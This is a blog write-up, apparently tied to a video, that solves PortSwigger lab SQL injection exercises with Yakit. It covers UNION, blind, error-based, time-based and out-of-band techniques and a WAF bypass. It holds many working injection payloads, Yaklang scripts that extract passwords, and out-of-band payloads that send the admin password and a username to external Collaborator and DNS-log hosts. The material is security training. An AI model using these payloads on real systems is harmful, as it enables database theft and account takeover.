【WEB安全-Yakit打BurpSuite靶场—SQL注入篇】此文章归类为:WEB安全。
本篇是 B站视频:Yakit打BurpSuite靶场—SQL注入篇 的代码与打靶记录,博客版本。
由于本篇大多直接写注入语句,在使用上与bp别无二致。使用Yakit的操作在视频,所以文章就没有操作图,但是有payload。
后面如果有用到Yakit的特性会有图的。yaklang代码与序列等高级方法下一篇才有。
本篇是BurpSuite靶场的第一篇,这里共有18个实验,涉及多种数据库和注入手法。这个做完了,可以去玩一玩SQLi-Labs,量大管饱,但是只有MySQL数据库,并且最后更新已经是11年前了。
在学习SQL注入之前,必须学会SQL语句(菜鸟教程),这里是几个在线的SQL练习网站:
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
直接拼接语句,注意特殊字符需要编码,当然全编码也是可以的
1 | Gifts' or 1=1 -- |
SQL injection vulnerability allowing login bypass
username=administrator'--&password=1
SQL injection attack, querying the database type and version on Oracle
查询Oracle数据库类型与版本的SQL语句为
1 | SELECT banner FROM v$version |
但是直接union查询会报错,Hint中给了一个查询语句:UNION SELECT 'abc' FROM dual
但是这个也会报错,这是在提示我们。这个是因为UNION联合查询需要前后语句查询的列数相同。所以需要知道原先语句查询的是几列。
这里使用order by函数进行测试,order by意思是按照某列进行排序,所以思路就是逐列测试。order by后可以写列名也可以写列的序数。
按第一列排序:Gifts'+order+by+1--
,按第二列排序也能输出。但是按第三列排序却报错。说明没有第三列,只有两列。
那么UNION后句补充一个列就好了,可以使用null作为占位符
1 | '+ UNION + SELECT +Banner, NULL + FROM +v$version -- |
占位符随意,比如114514
SQL injection attack, querying the database type and version on MySQL and Microsoft
过滤了--
,可以用#
注释语句,判断列数同上,这里直接写查询数据库的语句
1 | ' union + select +@@version, null # |
查询MySQL与Microsoft数据库除了SELECT @@version
,还有SELECT version()
,所以也可以写为
1 | ' union + select +version(), null # |
注意编码,最好全编码,否则直接写到浏览器url可能报500
SQL injection attack, listing the database contents on non-Oracle databases
这个实验很重要,是注入的思路,以Mysql和PostgreSQL为例。这些数据库有个默认的数据库information_schema
,这个数据库中存储了许多关键数据,比如SCHEMATA
表中存储了所有的库名,TABLES
表中存储了所有的表名和所属库名,COLUMNS
表中存储了所有列名和所属表名、库名。建议自己安装个数据库,操作一下看看具体结构。
这题的通关条件是登录administrator账号,注入点不在登录页,这题都说了从其他表检索数据。
注入点仍然是之前的category,思路就是
为了良好的可读性,这里使用{{urlenc( )}}
自动url编码,可以在括号里直接写SQL语句。
首先category注入点查询库名:
1 | {{urlenc(' union select schema_name, null from information_schema.schemata -- )}} |
回显:public、information_schema、pg_catalog,非常明显public是可疑库,因为另外俩是系统默认库
查询public库中所有表名:
1 | {{urlenc( ' union select table_name,null from information_schema.tables where table_schema=' public ' -- )}} |
回显:users_sqjdbv、products,一眼就知道users_sqjdbv是用户表
查询users_sqjdbv中的所有列名:
1 | {{urlenc( ' union select column_name,null from information_schema.columns where table_name=' users_sqjdbv' -- )}} |
如果遇到不同库中有表同名,那么这样查询会显示混在一起的列名,所以也可以加上库名条件,精确查找列名:
1 | {{urlenc( ' union select column_name,null from information_schema.columns where table_name=' users_sqjdbv ' and table_schema=' public ' -- )}} |
回显email、password_xraxke、username_hgvoch
这里就已经有存储账户密码的列名了,可以进行精确查找了
查询数据:
1 | {{urlenc(' union select username_hgvoch,password_xraxke from public .users_sqjdbv -- )}} |
回显:
wiener m7gvc8iza7sxmxzg3kve
carlos 89d9ydq8b7kk4tus7v9f
administrator 8lrmdb56161fquczwkip
使用administrator 8lrmdb56161fquczwkip登录即可过关
SQL injection attack, listing the database contents on Oracle
题干说的清楚,类别过滤器是注入点,从那里查询administrator密码
先礼貌问候一下列数:
{{urlenc(Gifts' order by 1,2-- )}}
正常回显,{{urlenc(Gifts' order by 1,2,3-- )}}
报错,说明没有三列,只有两列。order by 1是按照第一列排序,order by 1,2是当第一列数据相同时,按照第二列数据排序,以此类推,所以这样判断列数。后面不再重复列数判断步骤。
查数据库版本:{{urlenc(' union select banner,null from v$version-- )}}
,回显是Oracle数据库,这个时候就可以去查Oracle的默认库结构了。以便后续注入。
Oracle注入可以学习一下Y4er的文章:2a8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6&6y4r3g2J5i4K6u0W2j5$3!0E0i4K6u0r3M7r3!0K6N6s2y4Q4x3V1k6G2M7X3q4U0L8r3g2Q4x3X3c8K6M7h3I4Q4x3X3c8A6L8X3A6W2j5%4c8Q4x3V1j5`.
同时建议,自己搭建个Oracle摸索摸索,我Windows笔记本折腾半天Docker Desktop安装Oracle就是无限启停,还是用官方的在线Oracle吧:59bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4A6N6X3g2K6M7h3I4Q4x3X3g2G2M7X3q4U0L8r3g2Q4x3X3g2U0L8$3@1`.
查询当前用户:
1 | {{urlenc(' union SELECT user , null FROM dual -- )}} |
回显Peter
查询当前用户有权限的表:
1 | {{urlenc(' union SELECT DISTINCT owner, table_name FROM all_tables -- )}} |
回显很多,其中有PETER PRODUCTS、PETER USERS_EALGQZ。一眼丁真!就是可疑的数据库
查询列名:
1 | {{urlenc( ' union SELECT column_name,null FROM all_tab_columns where table_name=' USERS_EALGQZ' -- )}} |
回显:EMAIL、PASSWORD_RAOMLC、USERNAME_BNPYTJ
这里我复制表名复制错了,后面查数据一直报错,我真蠢
查询数据:
1 | {{urlenc(' union SELECT USERNAME_BNPYTJ,PASSWORD_RAOMLC FROM Peter.USERS_EALGQZ -- )}} |
回显:administrator dkz5nikhi570pk03v7dw
SQL injection UNION attack, determining the number of columns returned by the query
1 | {{urlenc(' order by 4 -- )}} |
SQL injection UNION attack, finding a column containing text
判断出是3列,使用{{urlenc(' union select version(),null,null-- )}}
或@@version
或SELECT banner FROM v$version
都报错。刚开始以为是不知道哪个数据库。
后来尝试使用{{urlenc(' union select null,null,null-- )}}
发现没报错,说明from可疑省略,那么一定不是Oracle数据库,那就从MySQL、PostgreSQL、Microsoft中测试,恰巧他们的查询版本都是很相似的,又因为题干说了要确定列的值类型。那么明显考察的是回显要符合字段类型的知识。
比如第一列类型是bool,但是你查询的是varchar,那么就会报错。这题我们测试到第二列可以输出版本。
1 | {{urlenc(' union select null ,version(), null -- )}} |
PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
1 | {{urlenc(' union select null ,schema_name, null from information_schema.schemata -- )}} |
public、information_schema、pg_catalog
1 | {{urlenc( ' union select null,table_name,null from information_schema.tables where table_schema=' public ' -- )}} |
products
1 | {{urlenc( ' union select null,column_name,null from information_schema.columns where table_name=' products' -- )}} |
name、description、image、id、rating、category、price、released
查不出来东西,我以为库里有个数据包含了题目给的那个字符串,没想到让直接输出那个字符串,于是直接写
1 | {{urlenc( ' union select null,' eUEzNY', null -- )}} |
不加引号算列名,加了就是显示字符串
SQL injection UNION attack, retrieving data from other tables
两列
PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
这题很常规,publics库,users表,username、password字段
1 | {{urlenc(' union select username, password from public .users -- )}} |
administrator n1skvb3sntodavtn0jem
SQL injection UNION attack, retrieving multiple values in a single column
单列检索多个值,学习新知识,但首先我们要确定数据库版本
1 | {{urlenc(' union select null ,version() -- )}} |
PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
常规步骤即可
知识点:使用字符串连接函数(如 CONCAT
、GROUP_CONCAT
)将多个字段或查询结果拼接成一个字符串。
1. 使用 CONCAT
横向拼接(单行多值)
1 2 3 | SELECT col1, col2, col3 FROM original_table UNION SELECT 1 , CONCAT( 'Version:' , version(), ', User:' , user()), 3 ; |
Version:8.0.30, User:root@localhost
的字符串。2. 使用 GROUP_CONCAT
纵向聚合(多行合并为单行)
1 2 3 | SELECT col1, col2, col3 FROM original_table UNION SELECT 1 , (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables), 3 ; |
users,products,orders
。这题第一个字段无法输出username或password,只有第二个字段可以,但是分两次注入麻烦,而且数据多了还不好直观发现账号所属密码。所以这里使用concat
函数,将两列数据合并为一列数据,中间用~
分隔,输出到第二列中。
1 | {{urlenc( ' union select null,concat(username,' ~', password ) from public .users -- )}} |
administratordsh8zen6pskpecisl6ju
carlos~1l8zrm4ve3ch6ighrpsl
你也可以展开库、表、列的对应关系
1 | {{urlenc( ' union select null,concat(table_schema,' ~ ',table_name,' ~ ',column_name) from information_schema.columns where table_name=' users' -- )}} |
publicusername
publicpassword
publicemail
Blind SQL injection with conditional responses
报错注入,这题没有回显,查询行只有Welcome back
的消息,查询失败则没有回显,所以执行一些语句,通过消息是否回显来判断语句是否正确,比如猜测库名长度为5,不对就写6,知道测试出长度,然后逐个判断字母,这个工作量很大,一般都是写脚本。
点击任何一个分类,可以看到右上角有个welcome back
在category测试后没发现注入点,题干说了cookie,那就从cookie入手
在cookie值后加一个'
,如TrackingId=gG7dkxOsglrzOpj8';
没有回显,说明单引号影响了内部sql执行,这个语句使用单引号闭合。后面衔接逻辑语句:
1 | TrackingId=gG7dkxOsglrzOpj8' and 1=1 -- ; |
有回显
1 | TrackingId=gG7dkxOsglrzOpj8' and 1=2 -- ; |
无回显
后面可以加判断语句
题干说了users表,那我们测试一下有没有这个表
1 | TrackingId=gG7dkxOsglrzOpj8 ' and (select ' a ' from users limit 1)=' a' -- ; |
有回显,说明有这个库,如果觉得打注释麻烦,也可以写为
1 | TrackingId=gG7dkxOsglrzOpj8 ' and (select ' a ' from users limit 1)=' a; |
少写个引号,因为可以和后台的引号成对
测试是否有administrator
用户
1 | TrackingId=gG7dkxOsglrzOpj8 ' and (select ' a ' from users where username=' administrator ' limit 1)=' a' -- ; |
存在此用户,那么暴破密码长度
这里使用length函数,这个函数返回字符串的长度
1 | TrackingId=gG7dkxOsglrzOpj8 ' and (select ' a ' from users where username=' administrator ' and length(password)>1)=' a' -- ; |
逐个测试长度,这里使用Yakit的标签,使其在设置的范围内发包:
1 | TrackingId=gG7dkxOsglrzOpj8 ' and (select ' a ' from users where username=' administrator ' and length(password)>{{int(1-16)}})=' a' -- ; |
可以看到,Yakit右边发了很多包,但这个是并发的,顺序并不是从1到16。所以点一下右边表头里的Payloads旁边的顺序图标,让他按照Payloads排序。可以明显看到,payload为20时返回值不一样,>19有回显,>20无回显,说明密码长度刚好是20。
使用substr函数截取第一个字符并逐个判断
密码用到的字符有[0-9],[a-z],[A-Z],以及()`\!@#$%^&*_-+=|{}[]:;'<>,.?
这里语句写为
1 | TrackingId=gG7dkxOsglrzOpj8 ' and (select ' a ' from users where username=' administrator ' and substr(password,1,1)=' {{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:; '<>,.?/\\-])}}' )= 'a' -- ; |
不过何必在where里判断字符,直接放到前面去,写成
1 | TrackingId=gG7dkxOsglrzOpj8 ' and (select substr(password,1,1) from users where username=' administrator ')=' {{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:; '<>,.?/\\-])}}' -- ; |
这里有许多转义,如果碰到复杂的,也可以直接插入字典
按响应大小排序,可以看到有一个值明显不同,页面也有回显,那么对应的payload就是密码第一个字符
注意有一些包发送错误或者没有成功回显的,是因为并发太高靶场受不了,还有就是有的字符类型无法接受,重新发包
测试第2个字符,你可以写substr(password,2,1)=……
,但是这还要记住之前的字符,然后逐一累加。我这边就直接
1 | TrackingId=gG7dkxOsglrzOpj8 ' and (select substr(password,1,2) from users where username=' administrator ')=' y{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:; '<>,.?/\\-])}}' -- ; |
提取2个字符,但是在匹配的条件那里把上一次查到的字符写上去,让它只暴破第二个字符就好,等暴破到最后就能直观的看到完整密码。当然也可以写脚本,二分法的脚本会更快,字符通过
得到20位密码:yr19j3bxshqthozbr4hp
提供一个二分法暴破密码脚本:
此脚本使用Yaklang,写得比python快,而且更简洁,没那么多库的导入,如果遇到proxy等等报错,请关闭梯子。遇到网络错误,就是靶场崩了,重新执行脚本。
// 填写你的Cookie和url,如下 TrackingId:="1SCB2aQ5cI7UADQw" session:="NUkLsggXlfoFnsH6JVGUexy4ZRctCrlz" url:="https://0ab400f4047133958334b44e00110003.web-security-academy.net/" results="" for pos := 1; pos < 21; pos++{ low=32 high=126 mid=(low+high)/2 for low<high{ payload:=sprintf(f`TrackingId=${TrackingId}' and (select ascii(substr(password,${pos},1)) from users where username='administrator')>${mid}-- ;session=${session}`) rsp, req = poc.Get(url, poc.appendHeader("Cookie",payload))~ if rsp.getBody().Contains("Welcome back!") { low=mid+1 }else{ high = mid } mid=(low+high)/2 } results+=chr(mid) println(results) }
这靶场太拉跨了,每次运行都崩,所以崩了就重新运行脚本吧,而且经常网络报错。破解密码长度不建议用脚本,因为用yakit一键就出来,写脚本反而费事。
Blind SQL injection with conditional errors
先摸索一下Oracle语法,到livesql.oracle.com新建一个表:
1 2 3 4 5 6 | drop table apt; create table apt(id number(30), name varchar2(16), function varchar (30)); insert into apt values (1, 'Zhao' , 'Penetration-Testing' ); insert into apt values (2, 'Qian' , 'Lateral Movement' ); insert into apt values (3, 'Sun' , 'Bypass Antivirus' ); insert into apt values (4, 'Li' , 'Data Dump' ); |
执行下面,能发现oracle对语句进行了逻辑判断
这里末尾用单引号闭合会报错,还是用注释吧
1 | select function from apt where name = 'Zhao' and 1=1 -- ' |
1 | select function from apt where name = 'Zhao' and 1=2 -- ' |
改成'a'='a'
、'a'='b'
也能执行逻辑。
但是写在cookie里却不行,猜测是后台的比对位置不在where,过滤的可能性不大,因为过滤不属于这种初级靶机
这里扩展知识点:||
||
是 Oracle 的字符串连接运算符,用于拼接字符串或表达式结果。'abc' || 'def'
结果为 'abcdef'
。我们在语句后面加个空字符串,拼接后不影响字符串,如:
1 2 | 使用单引号闭合 select function from apt where name = 'Zhao' || '' |
1 2 | 注释后台单引号 select function from apt where name = 'Zhao' || '' -- ' |
最最重要的是||
是可以拼接子查询写逻辑语句的,倘若逻辑正确就返回空字符串,不影响查询结果,逻辑不对就返回错误
语句如下:
1 | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN NULL ELSE TO_CHAR(1/0) END FROM dual |
子查询需要用括号包裹
我们在环境里测试下面:
1 | select function from apt where name = 'Zhao' ||( SELECT CASE WHEN 1=1 THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ' |
1=1
永真,故返回NULL
,不影响前面的Zhao
,语句正常执行。
1 | select function from apt where name = 'Zhao' ||( SELECT CASE WHEN 1=2 THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ' |
1=2
永假,故返回TO_CHAR(1/0)
,TO_CHAR(1/0)
是 Oracle 数据库中一种故意触发错误的常见技巧,查询报错。也可以使用TO_NUMBER('invalid')
、CAST('invalid' AS DATE)
注入逻辑搭建完成,下面就是判断密码长度,逐个判断字符了
先测试有没有administrator:
1 2 | -- 很蠢的测试方法 TrackingId=p5HxnaauwfflROgB '||(SELECT CASE WHEN (select username from users where username=' administrator ')=' administrator' THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ; |
1 2 | -- 判断返回行数,从而判断有没有administrator TrackingId=p5HxnaauwfflROgB '||(SELECT CASE WHEN (select count(*) from users where username=' administrator')>0 THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ; |
1 2 | -- 通过exists判断,exists函数判断子查询是否存在,存在返回真,不存在返回null,否则触发错误 TrackingId=p5HxnaauwfflROgB '||(SELECT CASE WHEN exists(select * from users where username=' administrator') THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ; |
先判断是否存在users表:
1 | TrackingId=p5HxnaauwfflROgB'||( SELECT CASE WHEN exists( select * from users) THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ; |
判断列数,使用count:
1 | TrackingId=p5HxnaauwfflROgB '||(SELECT CASE WHEN (select count(COLUMN_NAME) from user_tab_columns WHERE TABLE_NAME =' USERS')=3 THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ; |
实际上,上面去掉count就是返回列名,加上where rownum=1就可以返回第一行列名,由于oracle不支持limit语法,让它逐行输出有点麻烦,这里先不写了。遇到暴破列名的再写。
判断是否存在username和password的列名
1 | TrackingId=p5HxnaauwfflROgB'||( SELECT CASE WHEN exists( select username from users) THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ; |
1 | TrackingId=p5HxnaauwfflROgB'||( SELECT CASE WHEN exists( select password from users) THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ; |
判断administrator密码长度:
1 | TrackingId=p5HxnaauwfflROgB '||(SELECT CASE WHEN (select length(password) from users where username=' administrator')={{ int (1-30)}} THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ; |
20位
判断administrator用户的密码第一位字符
1 | TrackingId=p5HxnaauwfflROgB '||(SELECT CASE WHEN (select substr(password,1,1) from users where username=' administrator ')=' {{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:; '<>,.?/\\-])}}' THEN NULL ELSE TO_CHAR(1/0) END FROM dual) -- ; |
好了,这就跟上题一样了,写个脚本先:
// 填写你的Cookie和url,如下 TrackingId:="ZK2C9o43WxHY0Ccy" session:="zMtUFgVidY69HaQ9bEgj0egCs2JQDl5Y" url:="https://0ae000fa031181de8337b024008f00cf.web-security-academy.net/" results="" for pos := 1; pos < 21; pos++{ low=32 high=127 mid=(low+high)/2 for low<high{ payload:=sprintf(f`TrackingId=${TrackingId}'||(SELECT CASE WHEN (select ascii(substr(password,${pos},1)) from users where username='administrator')>${mid} THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ; session=${session}`) rsp,req = poc.Get(url,poc.appendHeader("Cookie",payload))~ if rsp.GetStatusCode()==200 { low=mid+1 }else{ high = mid } mid=(low+high)/2 } results+=chr(mid) println(results) }
Visible error-based SQL injection
基于可见错误的 SQL 注入,这是一个不会显示结果在页面的sql查询,但sql语法有错,会抛出错误。为什么会有这种情况?当然是实际开发中有一些sql用于传输数据,并不是显示给用户看的。而这种注入点要么 fuzz,要么是api泄露
单引号报错 ,加省略正常
TrackingId=aBwEWz4Ph2qZNZHb' order by 1-- ;
正常,order by 2报错,说明只有一列数据
刚才引号报错时,发现显示了报错点和后台sql语句
尝试执行逻辑
1 | TrackingId=aBwEWz4Ph2qZNZHb' and 1 -- ; |
报错,提示
1 | ERROR: argument of AND must be type boolean, not type integer Position: 58 |
这就能判断出来是PostgreSQL了,因为mysql这种是弱类型,1
会认为是true
永真,而这里把1当成了整数,并没有转换为布尔。类型检查严格,判断数据库是PostgreSQL。
知识点:CAST
是 SQL 中的类型转换函数,它可以将一个数据类型强制转换为另一种数据类型。在报错注入中,我们故意构造类型转换错误,让数据库在报错信息中泄露敏感数据
CAST ( expression AS data_type)
把expression转换为data_type类型,expression可以是一个列名、一个变量、一个字符串常量。
为什么这个既能执行expression,又能报错?expression可以写因为不执行怎么知道expression的类型,源数据类型都不知道怎么转换?
等它执行完表达式,再转换的时候发现无法转换成目标类型,就会报错说源数据是这样:XXXXX,转不了!
现在我们查询版本,但是把版本字符串转换为1
1 | TrackingId=nYFNRJv78qIXtz23' and 1= cast (( select version()) as int ) -- ; |
回显:ERROR: invalid input syntax for type integer: "PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit"
查询用户名
1 | TrackingId=nYFNRJv78qIXtz23' AND 1= CAST (( SELECT username FROM users) AS int ) -- ; |
报错:Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'nYFNRJv78qIXtz23' AND 1=CAST((SELECT username FROM users) AS'. Expected char
这个报错意思是sql语法结构被破坏,可是这个引号已经闭合,注释符也能用,在刚开始就测试了。
那么原因只有,后台会限制sql语句长度,达到最大长度后给截断了。
我们把原先的TrackingId值删掉,执行语句:
1 | TrackingId=' AND 1= CAST (( SELECT username FROM users) AS int ) -- ; |
报错:ERROR: more than one row returned by a subquery used as an expression
返回了多行数据,但是cast只接受单行数据,这里我们使用string_agg将多行合并为单行:
1 | TrackingId= ' AND 1=CAST((SELECT string_agg(username,' ,') FROM users) AS int ) -- ; |
还是太长 ,使用limit获取第一行
1 | TrackingId=' AND 1= CAST (( SELECT username FROM users limit 1) AS int ) -- ; |
回显:ERROR: invalid input syntax for type integer: "administrator"
第一行就是用户,那么直接获取密码
1 | TrackingId=' AND 1= CAST (( SELECT passwossrd FROM users limit 1) AS int ) -- ; |
靶场终归有解,实战中第一行不是管理员怎么办呢,limit row offset 1会被截断的
Blind SQL injection with time delays
时间盲注比较常用的函数就是
pg_sleep()
,不过由于它的返回值为null,如果注入点位于where后面,那一定要将其转换为布尔值
所以这里仍然单引号闭合,然后加逻辑语句
1 | TrackingId=QL6cBxyAEHK8lPvh' and pg_sleep(10) is null -- ; |
Blind SQL injection with time delays and information retrieval
能够执行上面那题的paylaod,所以就case when吧
在此之前我们摸索一下postgresql,新建一个:
1 2 3 4 5 6 7 8 9 10 11 | DROP TABLE IF EXISTS "public" . "stu" ; CREATE TABLE "public" . "stu" ( "id" int4 NOT NULL PRIMARY KEY , "name" varchar (45) COLLATE "pg_catalog" . "default" NOT NULL , "age" int4 ) ; INSERT INTO "public" . "stu" VALUES (1, 'Zhao' , 24); INSERT INTO "public" . "stu" VALUES (2, 'Qian' , 33); INSERT INTO "public" . "stu" VALUES (3, 'Sun' , 43); INSERT INTO "public" . "stu" VALUES (4, 'Li' , 42); |
写个sql:
1 | select age from stu where name = 'Zhao' and (pg_sleep(5) is null ); |
这行sql一直不输出,或者输出极慢。因为pg_sleep(5)
是一个函数,它会执行并返回一个结果,而不是直接产生一个值供比较。在 PostgreSQL 中,pg_sleep
的返回值是一个“void”
类型(即没有实际的返回值),但在条件判断中,它不会被视为 NULL
。
慢的主要因素是,它会在查询每一行数据时都进行sleep
这里作布尔比较应该是(select pg_sleep(5) is null);
写个类似靶场的条件语句:
1 | select age from stu where name = 'Zhao' and ( select case when (1=1) then ( select pg_sleep(5) is null ) else ( select pg_sleep(0) is null ) end ) -- '; |
正常延迟输出
测试靶场是否有users表:
1 | TrackingId=PgY9pwIluFSoqtqC ' and (select case when exists(select * from uses) then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ' ; |
判断是否存在username列
1 | TrackingId=PgY9pwIluFSoqtqC ' and (select case when exists(select username from users) then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ' ; |
判断是否存在administrator用户
1 | TrackingId=PgY9pwIluFSoqtqC ' and (select case when (select ' a ' from users where username=' administrator ')=' a ' then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ' ; |
判断administrator用户密码长度:
1 | TrackingId=PgY9pwIluFSoqtqC ' and (select case when (select length(password) from users where username=' administrator ')={{int(1-30)}} then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ' ; |
延迟久然后返回的就是正确payload,长度20
测试密码第一个字符:
1 | TrackingId=PgY9pwIluFSoqtqC ' and (select case when (select substr(password,1,1) from users where username=' administrator ')=' {{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:; '<>,.?/\\-])}}' then ( select pg_sleep(5) is null ) else ( select pg_sleep(0) is null ) end ) -- '; |
脚本:
// 填写你的Cookie和url,如下 TrackingId:="tS9xclQLWykah3XS" session:="EMTfiXYAox90T0nmJAaaHFFtK1wdpdcd" url:="https://0a0400d603391cda81011164000f00d3.web-security-academy.net/" results="" for pos := 1; pos < 21; pos++{ low=32 high=127 mid=(low+high)/2 for low<high{ payload:=sprintf(f`TrackingId=${TrackingId}' and (select case when (select ascii(substr(password,${pos},1)) from users where username='administrator')>${mid} then (select pg_sleep(1) is null) else(select pg_sleep(0) is null) end)-- '; session=${session}`) rsp,req = poc.Get(url,poc.appendHeader("Cookie",payload))~ if int(rsp.TraceInfo.ServerTime)>=1000000000 { low=mid+1 }else{ high = mid } mid=(low+high)/2 } results+=chr(mid) println(results) }
Blind SQL injection with out-of-band interaction
操,只能用burp的Collaborator服务器,在bp里点一下就行,但是我这是Yakit完成BP的牛头人记录啊。测绘到了一些Collaborator公共服务器,但是没有密钥就没办法轮询。
只能用bp了,这里用速查表的那个语句就行,url那里写Burp Collaborator里复制的地址,注意加http://
:
1 | SELECT EXTRACTVALUE(xmltype( '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "05dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0Y4N6X3c8@1N6h3u0E0x3e0u0&6L8$3S2J5y4r3j5H3N6s2W2C8N6r3c8@1x3Y4A6@1y4h3E0@1L8X3S2U0i4K6u0W2L8$3q4K6N6r3W2X3P5g2)9J5k6h3y4G2L8b7`.`."> %remote;]>' ), '/l' ) FROM dual |
请求包里要url编码:
1 | TrackingId=asEAelVub4RxLizc'+ union + SELECT +EXTRACTVALUE%28xmltype%28%27%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B+%3C%21ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2Fbgvdtubm12yohr4f0tyktdt2zt5ktnhc.oastify.com%22%3E+%25remote%3B%5D%3E%27%29%2C%27%2Fl%27%29+ FROM +dual --+; |
Blind SQL injection with out-of-band data exfiltration
这个就是利用带外进行查询,查询时是可以拼接命令的,比如在dnslog上请求一下:
1 | dig ` whoami `.ke9du2.dnslog.cn |
返回
DNS Query Record | IP Address | Created Time |
---|---|---|
tajang.ke9du2.dnslog.cn | XXX.XXX.XXX.XXX | 2025-02-27 00:17:41 |
前面附加了我的用户名
这里同理,语句是:
1 | SELECT EXTRACTVALUE(xmltype( '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' ||( SELECT YOUR-QUERY-HERE)|| '.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>' ), '/l' ) FROM dual |
请求包里写(已url编码):
1 | TrackingId=o8cGAQkEU7ZIUli9'+ union + SELECT +EXTRACTVALUE%28xmltype%28%27%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B+%3C%21ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F%27%7C%7C%28select+ password + from +users+ where +username%3D%27administrator%27%29%7C%7C%27.bfu110u4ree0yu0nz3tpemw9v01rphd6.oastify.com%2F%22%3E+%25remote%3B%5D%3E%27%29%2C%27%2Fl%27%29+ FROM +dual --+; |
SQL injection with filter bypass via XML encoding
1'
被拦截,1%27
不会,把注释编码后传输没有数据,个人推测是把%27
给删了,输入1+1
有数据,能够数学运算。猜测是数字型注入,不用引号闭合
但是这里对于任何字符都不能输出数据,那就没办法写语句。
这里是xml结构,传输到后台时会进行xml解析。而waf是在后台之前检测的,一般waf不会自己解码再检测。
所以思路就是把语句编码传输,waf检测不到,而后台会把它解析了再执行
要实体编码,可以在线使用:e2cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8$3&6X3K9h3N6Q4x3X3g2F1k6i4c8Q4x3X3g2U0L8W2)9J5c8Y4c8G2L8$3I4K6i4K6u0r3d9s2c8E0L8p5g2F1j5$3!0V1k6g2)9J5k6h3S2@1L8h3I4Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0N6Q4z5o6u0Q4b7U0W2Q4c8e0g2Q4z5o6N6Q4b7V1u0t1g2p5#2x3i4@1f1#2i4@1q4q4i4K6W2q4i4@1f1@1i4@1u0p5i4K6V1K6i4@1f1%4i4@1u0o6i4K6V1$3i4@1f1%4i4@1p5H3i4K6R3I4i4@1g2r3i4@1u0o6i4K6R3^5x3e0k6Q4c8e0S2Q4b7V1k6Q4z5f1u0Q4c8e0g2Q4z5o6S2Q4b7U0k6Q4c8f1k6Q4b7V1y4Q4z5o6V1`.
也可以使用Yakit的{{htmlenc()}}
标签
先输入1 union select null --
,编码传输:
1 | <? xml version = "1.0" encoding = "UTF-8" ?>< stockCheck >< productId >4</ productId >< storeId >1 union select null -- </ storeId ></ stockCheck > |
或者使用Yakit标签
1 | <? xml version = "1.0" encoding = "UTF-8" ?>< stockCheck >< productId >4</ productId >< storeId >{{htmlenc(1 union select null -- )}}</ storeId ></ stockCheck > |
正常输出一个null,写俩null时不输出,说明只有一列
那么一起查询账号密码,就需要把行连接起来,使用concat函数不行,尝试||
1 | <? xml version = "1.0" encoding = "UTF-8" ?>< stockCheck >< productId >4</ productId >< storeId >{{htmlenc(1 union select username||'~'||password from users-- )}}</ storeId ></ stockCheck > |
得到密码
SQL注入篇完结
更多【WEB安全-Yakit打BurpSuite靶场—SQL注入篇】相关视频教程:www.yxfzedu.com